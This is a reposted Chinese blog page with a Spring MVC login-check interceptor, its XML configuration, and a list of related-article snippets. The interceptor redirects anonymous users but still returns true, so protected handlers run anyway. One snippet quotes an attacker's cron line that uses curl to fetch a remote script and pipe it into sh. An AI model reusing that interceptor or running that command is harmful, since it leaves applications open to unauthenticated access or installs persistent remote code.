[转]Spring mvc interceptor配置拦截器,没有登录跳到登录页
- <?xml version="1.0" encoding="UTF-8"?>
- <beans xmlns="http://www.springframework.org/schema/beans"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context"
- xmlns:mvc="http://www.springframework.org/schema/mvc"
- xsi:schemaLocation="http://www.springframework.org/schema/beans
- http://www.springframework.org/schema/beans/spring-beans.xsd
- http://www.springframework.org/schema/context
- http://www.springframework.org/schema/context/spring-context.xsd
- http://www.springframework.org/schema/mvc
- http://www.springframework.org/schema/mvc/spring-mvc.xsd"
- default-autowire="byName">
- <!-- auto register Processor -->
- <context:annotation-config />
- <bean class="org.mybatis.spring.mapper.MapperScannerConfigurer">
- <property name="basePackage" value="com.anxin.msapweb.db.mybatis.mapper" />
- </bean>
- <bean id="sqlSessionFactory" class="org.mybatis.spring.SqlSessionFactoryBean">
- <property name="dataSource" ref="db2dataSource" />
- </bean>
- <mvc:interceptors>
- <mvc:interceptor>
- <!-- 需拦截的地址 -->
- <!-- 一级目录 -->
- <mvc:mapping path="/*.do" />
- <mvc:mapping path="/*.ajax" />
- <mvc:mapping path="/*.htm" />
- <!-- 二级目录 -->
- <mvc:mapping path="/*/*.do" />
- <mvc:mapping path="/*/*.ajax" />
- <mvc:mapping path="/*/*.htm" />
- <!-- 需排除拦截的地址 -->
- <mvc:exclude-mapping path="/login.htm"/>
- <bean class="com.anxin.msapweb.web.interceptor.SecurityInterceptor" />
- </mvc:interceptor>
- </mvc:interceptors>
- </beans>
注:不支持<mvc:mapping path="*.do" />
- package com.anxin.msapweb.web.interceptor;
- import javax.servlet.http.HttpServletRequest;
- import javax.servlet.http.HttpServletResponse;
- import javax.servlet.http.HttpSession;
- import org.springframework.web.servlet.HandlerInterceptor;
- import org.springframework.web.servlet.ModelAndView;
- import com.anxin.msapweb.common.Config;
- public class SecurityInterceptor implements HandlerInterceptor {
- private static final String LOGIN_URL = "/login.htm";
- @Override
- public boolean preHandle(HttpServletRequest req, HttpServletResponse res, Object handler) throws Exception {
- HttpSession session = req.getSession(true);
- // 从session 里面获取用户名的信息
- Object obj = session.getAttribute(Config.Passport.SESSION_NAME_LOGIN_RESULT);
- // 判断如果没有取到用户信息,就跳转到登陆页面,提示用户进行登陆
- if (obj == null || "".equals(obj.toString())) {
- res.sendRedirect(LOGIN_URL);
- }
- return true;
- }
- @Override
- public void postHandle(HttpServletRequest req, HttpServletResponse res, Object arg2, ModelAndView arg3) throws Exception {
- }
- @Override
- public void afterCompletion(HttpServletRequest req, HttpServletResponse res, Object arg2, Exception arg3) throws Exception {
- }
- }
(原文地址:http://qiaolevip.iteye.com/blog/1827676)
[转]Spring mvc interceptor配置拦截器,没有登录跳到登录页的更多相关文章
- Spring mvc interceptor配置拦截器,没有登录跳到登录页
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.sp ...
- 1.5(Spring MVC学习笔记) 拦截器(Interceptor)
一.拦截器 1.1拦截器简介 Spring中的拦截器类似Servlet中的过滤器(Filter),主要用于拦截用户请求, 并进行一定的处理操作(如验证权限.记录日志.设置编码方式等). 1.2拦截器实 ...
- Spring Mvc 的自定义拦截器
spring mvc的拦截器 SpringMVC 中的Interceptor 拦截器也是相当重要和相当有用的,它的主要作用是拦截用户的请求并进行相应的处理.比如通过它来进行权限验证,或者是来判断用户 ...
- Spring MVC中的拦截器/过滤器HandlerInterceptorAdapter的使用
一般情况下,对来自浏览器的请求的拦截,是利用Filter实现的 而在Spring中,基于Filter这种方式可以实现Bean预处理.后处理. 比如注入FilterRegistrationBean,然后 ...
- spring mvc中的拦截器小结 .
在spring mvc中,拦截器其实比较简单了,下面简单小结并demo下. preHandle:预处理回调方法,实现处理器的预处理(如登录检查),第三个参数为响应的处理器(如我们上一章的Control ...
- spring原拦截器配置与新命名空间mvc:interceptors配置拦截器对照与注意事项
原先,我们是这么配置拦截器的 <bean id="openSessionInViewInterceptor"class="org.springframework.o ...
- Spring MVC中自定义拦截器的简单示例
1. 引言 拦截器(Interceptor)实现对每一个请求处理前后进行相关的业务处理,类似于Servlet的Filter. 我们可以让普通的Bean实现HandlerIntercpetor接口或继承 ...
- Spring MVC中的拦截器Interceptor
谈谈spring中的拦截器 在web开发中,拦截器是经常用到的功能.它可以帮我们验证是否登陆.预先设置数据以及统计方法的执行效率等等.今天就来详细的谈一下spring中的拦截器.spring中拦截器主 ...
- Spring MVC 方法注解拦截器
应用场景,在方法级别对本次调用进行鉴权,如api接口中有个用户唯一标示accessToken,对于有accessToken的每次请求可以在方法加一个拦截器,获得本次请求的用户,存放到request或者 ...
随机推荐
- stardict dict url
http ://download.huzheng.org/zh_CN/ tar -xjvf a.tar.bz2 -C /usr/share/stardict/dic
- minimum-path-sum-动态规划
Given a m x n grid filled with non-negative numbers, find a path from top left to bottom right which ...
- sqrtx-开平方
Implementint sqrt(int x). Compute and return the square root of x. 逐次逼近 class Solution { public: int ...
- join联表查询方法
$model = Shipping::join('shipping_area', 'shipping_area.shipping_id', '=', 'shipping.shipping_id') - ...
- [pip]安装和管理python第三方包
使用 ”pip install 包名“ 直接下载安装第三方包 1.在以下地址下载最新的PIP安装文件:http://pypi.python.org/pypi/pip#downloads2.下载Wi ...
- 转 linux下php扩展mysqli的支持
前两天一个站点转移过来,因为给我的数据库有问题,我也没有仔细处理这个站点.今天把数据库弄好了,发现还是用不了,报的错误如下:Fatal error: Class ‘mysqli’ not found ...
- curl定时任务下载执行
服务器入侵后有定时任务执行如下,通过cron,下载脚本并执行!达到杀不死的木马进程 */5 * * * * curl -fsSL http://xxxx/pm.sh?0111 | sh curl参数解 ...
- Android控件进阶-自定义流式布局和热门标签控件
技术:Android+java 概述 在日常的app使用中,我们会在android 的app中看见 热门标签等自动换行的流式布局,今天,我们就来看看如何 自定义一个类似热门标签那样的流式布局吧,类 ...
- 微信扫码支付springboot版本
发布时间:2018-11-06 技术:springboot+freemarker 概述 该项目是一个采用springboot构建的web项目,主要实现了微信扫码支付功能.包含最基本的创建订单, ...
- NSDictionary的分类
@implementation NSDictionary (extra) //根据key值的到字典中的object - (id)getObjectByKey:(NSString*)key { NSAr ...